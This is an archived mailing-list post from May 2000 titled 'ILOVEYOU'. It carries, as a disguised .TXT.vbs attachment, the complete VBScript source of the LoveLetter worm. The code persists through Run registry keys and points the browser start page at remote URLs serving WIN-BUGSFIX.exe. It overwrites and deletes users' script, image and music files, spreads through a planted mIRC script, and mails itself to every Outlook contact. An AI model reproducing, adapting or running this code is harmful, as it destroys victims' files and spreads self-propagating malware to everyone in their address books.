Date: Thu, 4 May 2000 14:27:59 +0200 From: "Lennart Blomstrom" <blomman@servicefactory.com> To: "'E-mail'" <freebsd-hackers@FreeBSD.ORG> Subject: ILOVEYOU Message-ID: <007701bfb5c6$6073d820$0a0f010a@k9d4>
next in thread | raw e-mail | index | archive | help
This is a multi-part message in MIME format. ------=_NextPart_000_0078_01BFB5D7.23FCA820 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit kindly check the attached LOVELETTER coming from me. ------=_NextPart_000_0078_01BFB5D7.23FCA820 Content-Type: application/octet-stream; name="LOVE-LETTER-FOR-YOU.TXT.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="LOVE-LETTER-FOR-YOU.TXT.vbs" rem barok -loveletter(vbe) <i hate go to school>=0Drem by: spyder / = ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines=0DOn = Error Resume Next=0Ddim = fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow=0Deq=3D""=0Dctr=3D0=0D= Set fso =3D CreateObject("Scripting.FileSystemObject")=0Dset file =3D = fso.OpenTextFile(WScript.ScriptFullname,1)=0Dvbscopy=3Dfile.ReadAll=0Dmai= n()=0Dsub main()=0DOn Error Resume Next=0Ddim wscr,rr=0Dset = wscr=3DCreateObject("WScript.Shell")=0Drr=3Dwscr.RegRead("HKEY_CURRENT_US= ER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")=0Dif = (rr>=3D1) then=0Dwscr.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting = Host\Settings\Timeout",0,"REG_DWORD"=0Dend if=0DSet dirwin =3D = fso.GetSpecialFolder(0)=0DSet dirsystem =3D = fso.GetSpecialFolder(1)=0DSet dirtemp =3D fso.GetSpecialFolder(2)=0DSet = c =3D = fso.GetFile(WScript.ScriptFullName)=0Dc.Copy(dirsystem&"\MSKernel32.vbs")= =0Dc.Copy(dirwin&"\Win32DLL.vbs")=0Dc.Copy(dirsystem&"\LOVE-LETTER-FOR-YO= U.TXT.vbs")=0Dregruns()=0Dhtml()=0Dspreadtoemail()=0Dlistadriv()=0Dend = sub=0Dsub regruns()=0DOn Error Resume Next=0DDim = num,downread=0Dregcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKerne= l32",dirsystem&"\MSKernel32.vbs"=0Dregcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices= \Win32DLL",dirwin&"\Win32DLL.vbs"=0Ddownread=3D""=0Ddownread=3Dregget("HK= EY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download = Directory")=0Dif (downread=3D"") then=0Ddownread=3D"c:\"=0Dend if=0Dif = (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then=0DRandomize=0Dnum =3D = Int((4 * Rnd) + 1)=0Dif num =3D 1 then=0Dregcreate = "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmh= Pnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"=0Delseif num =3D 2 = then=0Dregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwe= rWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"=0Delseif num =3D 3 = then=0Dregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQ= ZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"=0Delseif num =3D 4 then=0Dregcreate = "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDG= jkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B= UGSFIX.exe"=0Dend if=0Dend if=0Dif = (fileexist(downread&"\WIN-BUGSFIX.exe")=3D0) then=0Dregcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUG= SFIX",downread&"\WIN-BUGSFIX.exe"=0Dregcreate = "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start = Page","about:blank"=0Dend if=0Dend sub=0Dsub listadriv=0DOn Error Resume = Next=0DDim d,dc,s=0DSet dc =3D fso.Drives=0DFor Each d in dc=0DIf = d.DriveType =3D 2 or d.DriveType=3D3 Then=0Dfolderlist(d.path&"\")=0Dend = if=0DNext=0Dlistadriv =3D s=0Dend sub=0Dsub infectfiles(folderspec) = =0DOn Error Resume Next=0Ddim f,f1,fc,ext,ap,mircfname,s,bname,mp3=0Dset = f =3D fso.GetFolder(folderspec)=0Dset fc =3D f.Files=0Dfor each f1 in = fc=0Dext=3Dfso.GetExtensionName(f1.path)=0Dext=3Dlcase(ext)=0Ds=3Dlcase(f= 1.name)=0Dif (ext=3D"vbs") or (ext=3D"vbe") then=0Dset = ap=3Dfso.OpenTextFile(f1.path,2,true)=0Dap.write = vbscopy=0Dap.close=0Delseif(ext=3D"js") or (ext=3D"jse") or = (ext=3D"css") or (ext=3D"wsh") or (ext=3D"sct") or (ext=3D"hta") = then=0Dset ap=3Dfso.OpenTextFile(f1.path,2,true)=0Dap.write = vbscopy=0Dap.close=0Dbname=3Dfso.GetBaseName(f1.path)=0Dset = cop=3Dfso.GetFile(f1.path)=0Dcop.copy(folderspec&"\"&bname&".vbs")=0Dfso.= DeleteFile(f1.path)=0Delseif(ext=3D"jpg") or (ext=3D"jpeg") then=0Dset = ap=3Dfso.OpenTextFile(f1.path,2,true)=0Dap.write = vbscopy=0Dap.close=0Dset = cop=3Dfso.GetFile(f1.path)=0Dcop.copy(f1.path&".vbs")=0Dfso.DeleteFile(f1= .path)=0Delseif(ext=3D"mp3") or (ext=3D"mp2") then=0Dset = mp3=3Dfso.CreateTextFile(f1.path&".vbs")=0Dmp3.write = vbscopy=0Dmp3.close=0Dset = att=3Dfso.GetFile(f1.path)=0Datt.attributes=3Datt.attributes+2=0Dend = if=0Dif (eq<>folderspec) then=0Dif (s=3D"mirc32.exe") or = (s=3D"mlink32.exe") or (s=3D"mirc.ini") or (s=3D"script.ini") or = (s=3D"mirc.hlp") then=0Dset = scriptini=3Dfso.CreateTextFile(folderspec&"\script.ini")=0Dscriptini.Writ= eLine "[script]"=0Dscriptini.WriteLine ";mIRC = Script"=0Dscriptini.WriteLine "; Please dont edit this script... mIRC = will corrupt, if mIRC will"=0Dscriptini.WriteLine " corrupt... = WINDOWS will affect and will not run correctly. = thanks"=0Dscriptini.WriteLine ";"=0Dscriptini.WriteLine ";Khaled = Mardam-Bey"=0Dscriptini.WriteLine = ";http://www.mirc.com"=0Dscriptini.WriteLine ";"=0Dscriptini.WriteLine = "n0=3Don 1:JOIN:#:{"=0Dscriptini.WriteLine "n1=3D /if ( $nick =3D=3D = $me ) { halt }"=0Dscriptini.WriteLine "n2=3D /.dcc send $nick = "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"=0Dscriptini.WriteLine = "n3=3D}"=0Dscriptini.close=0Deq=3Dfolderspec=0Dend if=0Dend if=0Dnext = =0Dend sub=0Dsub folderlist(folderspec) =0DOn Error Resume Next=0Ddim = f,f1,sf=0Dset f =3D fso.GetFolder(folderspec) =0Dset sf =3D = f.SubFolders=0Dfor each f1 in = sf=0Dinfectfiles(f1.path)=0Dfolderlist(f1.path)=0Dnext =0Dend sub=0Dsub = regcreate(regkey,regvalue)=0DSet regedit =3D = CreateObject("WScript.Shell")=0Dregedit.RegWrite regkey,regvalue=0Dend = sub=0Dfunction regget(value)=0DSet regedit =3D = CreateObject("WScript.Shell")=0Dregget=3Dregedit.RegRead(value)=0Dend = function=0Dfunction fileexist(filespec)=0DOn Error Resume Next=0Ddim = msg=0Dif (fso.FileExists(filespec)) Then=0Dmsg =3D 0=0Delse=0Dmsg =3D = 1=0Dend if=0Dfileexist =3D msg=0Dend function=0Dfunction = folderexist(folderspec)=0DOn Error Resume Next=0Ddim msg=0Dif = (fso.GetFolderExists(folderspec)) then=0Dmsg =3D 0=0Delse=0Dmsg =3D = 1=0Dend if=0Dfileexist =3D msg=0Dend function=0Dsub spreadtoemail()=0DOn = Error Resume Next=0Ddim = x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad=0Dset = regedit=3DCreateObject("WScript.Shell")=0Dset = out=3DWScript.CreateObject("Outlook.Application")=0Dset = mapi=3Dout.GetNameSpace("MAPI")=0Dfor ctrlists=3D1 to = mapi.AddressLists.Count=0Dset = a=3Dmapi.AddressLists(ctrlists)=0Dx=3D1=0Dregv=3Dregedit.RegRead("HKEY_CU= RRENT_USER\Software\Microsoft\WAB\"&a)=0Dif (regv=3D"") = then=0Dregv=3D1=0Dend if=0Dif (int(a.AddressEntries.Count)>int(regv)) = then=0Dfor ctrentries=3D1 to = a.AddressEntries.Count=0Dmalead=3Da.AddressEntries(x)=0Dregad=3D""=0Drega= d=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)=0D= if (regad=3D"") then=0Dset = male=3Dout.CreateItem(0)=0Dmale.Recipients.Add(malead)=0Dmale.Subject = =3D "ILOVEYOU"=0Dmale.Body =3D vbcrlf&"kindly check the attached = LOVELETTER coming from = me."=0Dmale.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")=0Dm= ale.Send=0Dregedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"=0Dend = if=0Dx=3Dx+1=0Dnext=0Dregedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count=0Del= se=0Dregedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count=0Den= d if=0Dnext=0DSet out=3DNothing=0DSet mapi=3DNothing=0Dend sub=0Dsub = html=0DOn Error Resume Next=0Ddim = lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6=0Ddta1=3D"<HTML><HEAD><TITLE= >LOVELETTER - HTML<?-?TITLE><META NAME=3D@-@Generator@-@ = CONTENT=3D@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _=0D"<META = NAME=3D@-@Author@-@ CONTENT=3D@-@spyder ?-? ispyder@mail.com ?-? = @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& = _=0D"<META NAME=3D@-@Description@-@ CONTENT=3D@-@simple but i think this = is good...@-@>"&vbcrlf& _=0D"<?-?HEAD><BODY = ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-Y= OU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& = _=0D"ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-F= OR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ = BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _=0D"<CENTER><p>This HTML file need = ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please = press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& = _=0D"<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ = BGCOLOR=3D@-@yellow@-@>----------z--------------------z----------<?-?MARQ= UEE> "&vbcrlf& _=0D"<?-?BODY><?-?HTML>"&vbcrlf& _=0D"<SCRIPT = language=3D@-@JScript@-@>"&vbcrlf& _=0D"<!--?-??-?"&vbcrlf& _=0D"if = (window.screen){var wi=3Dscreen.availWidth;var = hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcr= lf& _=0D"?-??-?-->"&vbcrlf& _=0D"<?-?SCRIPT>"&vbcrlf& _=0D"<SCRIPT = LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _=0D"<!--"&vbcrlf& _=0D"on error = resume next"&vbcrlf& _=0D"dim = fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& = _=0D"aw=3D1"&vbcrlf& _=0D"code=3D"=0Ddta2=3D"set = fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _=0D"set = dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& = _=0D"code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& = _=0D"code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& = _=0D"code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& = _=0D"set = wri=3Dfso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& = _=0D"wri.write code4"&vbcrlf& _=0D"wri.close"&vbcrlf& _=0D"if = (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& = _=0D"if (err.number=3D424) then"&vbcrlf& _=0D"aw=3D0"&vbcrlf& _=0D"end = if"&vbcrlf& _=0D"if (aw=3D1) then"&vbcrlf& _=0D"document.write @-@ERROR: = can#-#t initialize ActiveX@-@"&vbcrlf& _=0D"window.close"&vbcrlf& = _=0D"end if"&vbcrlf& _=0D"end if"&vbcrlf& _=0D"Set regedit =3D = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _=0D"regedit.RegWrite = @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-= ^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& = _=0D"?-??-?-->"&vbcrlf& = _=0D"<?-?SCRIPT>"=0Ddt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")=0Ddt1= =3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")=0Ddt4=3Dreplace(dt1,chr(63)&= chr(45)&chr(63),"/")=0Ddt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")=0Dd= t2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")=0Ddt2=3Dreplace(dt2,chr(64= )&chr(45)&chr(64),"""")=0Ddt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")=0D= dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")=0Dset = fso=3DCreateObject("Scripting.FileSystemObject")=0Dset = c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)=0Dlines=3DSplit(c.ReadAll,= vbcrlf)=0Dl1=3Dubound(lines)=0Dfor n=3D0 to = ubound(lines)=0Dlines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))=0D= lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))=0Dlines(n)=3Dre= place(lines(n),"\",chr(37)+chr(45)+chr(37))=0Dif (l1=3Dn) = then=0Dlines(n)=3Dchr(34)+lines(n)+chr(34)=0Delse=0Dlines(n)=3Dchr(34)+li= nes(n)+chr(34)&"&vbcrlf& _"=0Dend if=0Dnext=0Dset = b=3Dfso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")=0Db.close=0D= set = d=3Dfso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)=0Dd.write = dt5=0Dd.write join(lines,vbcrlf)=0Dd.write vbcrlf=0Dd.write = dt6=0Dd.close=0Dend sub=0D ------=_NextPart_000_0078_01BFB5D7.23FCA820-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?007701bfb5c6$6073d820$0a0f010a>